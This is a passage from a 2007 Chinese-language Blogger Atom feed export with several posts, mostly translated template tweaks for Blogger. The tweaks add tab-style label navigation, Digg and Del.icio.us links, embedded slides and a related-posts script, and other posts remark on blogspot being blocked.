#FF0000;"&gt;type&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;='Label'&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;b:includable &lt;/span&gt;&lt;span style="color: #FF0000;"&gt;id&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;='main'&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;div &lt;/span&gt;&lt;span style="color: #FF0000;"&gt;id&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;='tabsF'&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;ul&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;li&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;a &lt;/span&gt;&lt;span style="color: #FF0000;"&gt;expr:href&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;='data:blog.homepageUrl'&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;span&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;Home&lt;br /&gt;         &lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;span&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;a&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;li&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;script &lt;/span&gt;&lt;span style="color: #FF0000;"&gt;type&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;='text/javascript'&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #0000FF;"&gt;var&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt; labelnum &lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;=&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt; &lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;0&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;;&lt;br /&gt;        &lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;b:loop values&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;=&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;'&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;data:labels&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;'&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt; &lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #0000FF;"&gt;var&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;=&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;'&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;label&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;'&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #0000FF;"&gt;if&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt; (labelnum&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;++&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt; &lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;&amp;amp;&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;lt; &lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;5&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;) {&lt;br /&gt;           document.write(&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;&amp;quot;&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;&amp;lt;li&amp;gt;&amp;lt;a expr:href='data:label.url + &lt;br /&gt;&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;&amp;quot;&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;?&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;max&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;-&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;results&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;=&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;100&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;&amp;quot;&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;'&amp;gt;&amp;lt;span&amp;gt;&amp;lt;data:label.name/&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;&amp;quot;&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;);&lt;br /&gt;        }&lt;br /&gt;        &lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;b:loop&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="background-color: #F5F5F5; color: #000000;"&gt;&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;script&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;ul&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;div&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;b:includable&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: #000000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;b:widget&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　保存后就可以了。当然，你也可以修改 tab 数量。我想你能轻易找到对应的代码，如果你看过我以前的 hack 肯定没问题的 ;-)&lt;br /&gt;　　&lt;a href="http://ricardouk.blogspot.com/2006/09/blogger-beta-links-hack-2.html"&gt;Ricardo &amp; Vivek&lt;/a&gt; 提到如何把链接放到侧边栏中，并以新窗口模式打开。这是一个让你的 blog 在转向其他页面时也保持显示好方法。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-2549268051638695395?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/2549268051638695395/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=2549268051638695395' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/2549268051638695395'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/2549268051638695395'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/tab.html' title='[翻译]优化 tab 式标签'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-6329365672146641012</id><published>2007-05-12T02:08:00.000+08:00</published><updated>2010-11-30T11:24:06.535+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Unsorted'/><title type='text'>太厉害了，blogspot再次无法访问</title><content type='html'>　　不知道是我这里的问题还是全国都一样。blogspot 再次无法访问。幸好我用的 Firefox，幸好这个世界上有人开发了 FoxyProxy、Tor。他们太伟大了。&lt;br /&gt;　　向这些伟大的人致敬。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-6329365672146641012?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/6329365672146641012/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=6329365672146641012' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/6329365672146641012'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/6329365672146641012'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/blogspot.html' title='太厉害了，blogspot再次无法访问'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-6231355447492680454</id><published>2007-05-11T02:31:00.001+08:00</published><updated>2010-11-30T11:21:14.929+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><title type='text'>一个自己很喜欢的歌手唱的很喜欢的歌的喜欢的flash</title><content type='html'>张学友——我真的受伤了&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;embed src="http://soulhacker511.googlepages.com/12-27.swf" loop="false" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" salign="T" name="scriptmain" menu="false" wmode="transparent" height="195" width="384"&gt;&lt;/embed&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-6231355447492680454?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/6231355447492680454/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=6231355447492680454' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/6231355447492680454'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/6231355447492680454'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/flash.html' title='一个自己很喜欢的歌手唱的很喜欢的歌的喜欢的flash'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-3996641110762438235</id><published>2007-05-10T23:59:00.000+08:00</published><updated>2007-05-20T17:53:53.848+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>[翻译]在 blogger 中添加 Del.icio.us 与 Digg 链接</title><content type='html'>原文：&lt;a href="http://hackosphere.blogspot.com/2006/09/delicious-and-digg-hotlinks-for-your.html"&gt;Del.icio.us and Digg hotlinks for your Beta blog&lt;/a&gt;&lt;br /&gt;　　很多博客都在自己的网站中添加像 Delicious 或者 Digg 这样社会书签网站，浏览的人能方便的提交自己喜欢的文章。&lt;a href="http://stubborn-fanatic.blogspot.com/index.html"&gt;Vivek Sanghi&lt;/a&gt; 指出在&lt;a href="http://techwrap.blogspot.com/2006/03/guide-how-to-add-diggit-and-delicious.html"&gt;这篇文章&lt;/a&gt;中的方法在新 blogger 中已不适用了，同时建议我也许可以研究一下。我找到了新的方法而且在我的 blog 中也正常的工作，你能在我文章的标签旁边找到这些链接。&lt;br /&gt;　　如果你想把链接添加到 blogger 中，展开模板代码，找到“post-labels”，你会看到下面这段代码。在 /span 前面添加红色的代码。&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;span &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='post-labels'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;cond&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:post.labels'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;  &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;data:postLabelsLabel&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:loop &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;values&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:post.labels' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='label'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;expr:href&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:label.url' &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;rel&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='tag'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;data:label&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.name&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;/&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;a&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;cond&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;='data:label.isLast &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;!&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;= "true"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:loop&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;      &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;b:if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;a &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;expr:href&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;='"http://digg.com/submit?phase=2&amp;amp;amp;url=" &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;+&lt;br /&gt;    data:post.url + "&amp;amp;amp;title&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;=" + data:post.title'&lt;br /&gt;     target='_blank'&amp;gt;DiggIt!&amp;lt;/a&amp;gt;&lt;br /&gt;&amp;lt;a expr:href='"&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;http://del.icio.us/post?url&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;=" +&lt;br /&gt;    data:post.url + "&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&amp;amp;amp;title&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;=" + data:post.title'  &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;        target='_blank'&amp;gt;Del.icio.us&amp;lt;/a&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;　　如果你对老模板中的 $BlogItemPermalinkUrl$ 和 $BlogItemTitle$ 很熟悉，我在这里其实使用了等价的 data:post.url 和 data:post.title。你也可以使用这个链接到其他的书签。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-3996641110762438235?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/3996641110762438235/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=3996641110762438235' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/3996641110762438235'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/3996641110762438235'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/blogger-delicious-digg.html' title='[翻译]在 blogger 中添加 Del.icio.us 与 Digg 链接'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-6053061326746296270</id><published>2007-05-10T13:18:00.000+08:00</published><updated>2007-05-10T13:31:07.431+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>[翻译]在 blog 中使用PPT</title><content type='html'>原文：&lt;a href="http://beautifulbeta.blogspot.com/2007/04/embed-powerpoint-in-your-blog.html"&gt;Embed Powerpoint in Your Blog&lt;/a&gt;&lt;br /&gt;　　让我们说点不一样的东西。在 blog 中显示 PPT 怎么样？&lt;br /&gt;　　登录 &lt;a href="http://www.slideaware.com/"&gt;SlideAware&lt;/a&gt;，注册一个免费帐号。下载 PPT 插件，然后安装。在创建 PPT 后，保存为 SlideAware。集成到 blog 就很简单了：&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: #0000FF;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;iframe &lt;/span&gt;&lt;span style="color: #FF0000;"&gt;src&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;http://personal.slideaware.com/yourmailadress/presentationid&amp;quot;&lt;/span&gt;&lt;span style="color: #FF0000;"&gt; width&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;480&amp;quot;&lt;/span&gt;&lt;span style="color: #FF0000;"&gt; height&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;380&amp;quot;&lt;/span&gt;&lt;span style="color: #FF0000;"&gt; style&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;=&amp;quot;border:none&amp;quot;&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;iframe&lt;/span&gt;&lt;span style="color: #0000FF;"&gt;&amp;gt;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;下面显示效果：&lt;br /&gt;&lt;iframe src="http://personal.slideaware.com/hans.oosting@planet.nl/bbwiki?embed=full" width="480" height="380" style="border:none"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8518521158278941755-6053061326746296270?l=guradian.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://guradian.blogspot.com/feeds/6053061326746296270/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8518521158278941755&amp;postID=6053061326746296270' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/6053061326746296270'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8518521158278941755/posts/default/6053061326746296270'/><link rel='alternate' type='text/html' href='http://guradian.blogspot.com/2007/05/aa.html' title='[翻译]在 blog 中使用PPT'/><author><name>Ken Lai</name><uri>http://www.blogger.com/profile/15020180693067382335</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8518521158278941755.post-1499387088890714005</id><published>2007-05-09T22:06:00.000+08:00</published><updated>2007-05-20T17:54:12.434+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='Blogger Hack'/><title type='text'>[翻译]显示相关文章</title><content type='html'>原文:&lt;a href="http://purplemoggy.blogspot.com/2006/12/related-posts.html"&gt;Related Posts&lt;/a&gt;&lt;br /&gt;　　在看到 Hoctro &lt;a href="http://hoctro.blogspot.com/2006/11/blogger-hack-related-articles-widget_24.html"&gt;一个类似的 hack 文章&lt;/a&gt;后，我一下想到了这个点子。但不太走运的是，他要求所有的文章标题都有一个相同的前缀，而我希望按照标签显示相关的文章。我想用新的 &lt;a href="http://buzz.blogger.com/2006/11/json-on-new-blogger.html"&gt;JSON&lt;/a&gt; 格式做点什么。而我也在 &lt;a href="http://beautifulbeta.blogspot.com/"&gt;Beautiful Beta&lt;/a&gt; 上阅读了关于如何解析 JSON 属性的文章。&lt;br /&gt;　　如果你的标签中使用了任何 url 保留字符，比如“?”“/”。这个属性可能不会正常工作。在这里我没有对 url 进行编码。&lt;br /&gt;　　首先，进入“模板 -&gt; 编辑 HTML”。粘贴下面代码到 head 部分：&lt;br /&gt;&lt;pre class="code"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;script type&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;text/javascript&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;//&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&amp;lt;![CDATA[&lt;/span&gt;&lt;span style="color: rgb(0, 128, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; relatedTitles &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; Array();&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; relatedTitlesNum &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;var&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; relatedUrls &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; Array();&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;function&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; related_results_labels(json) {&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 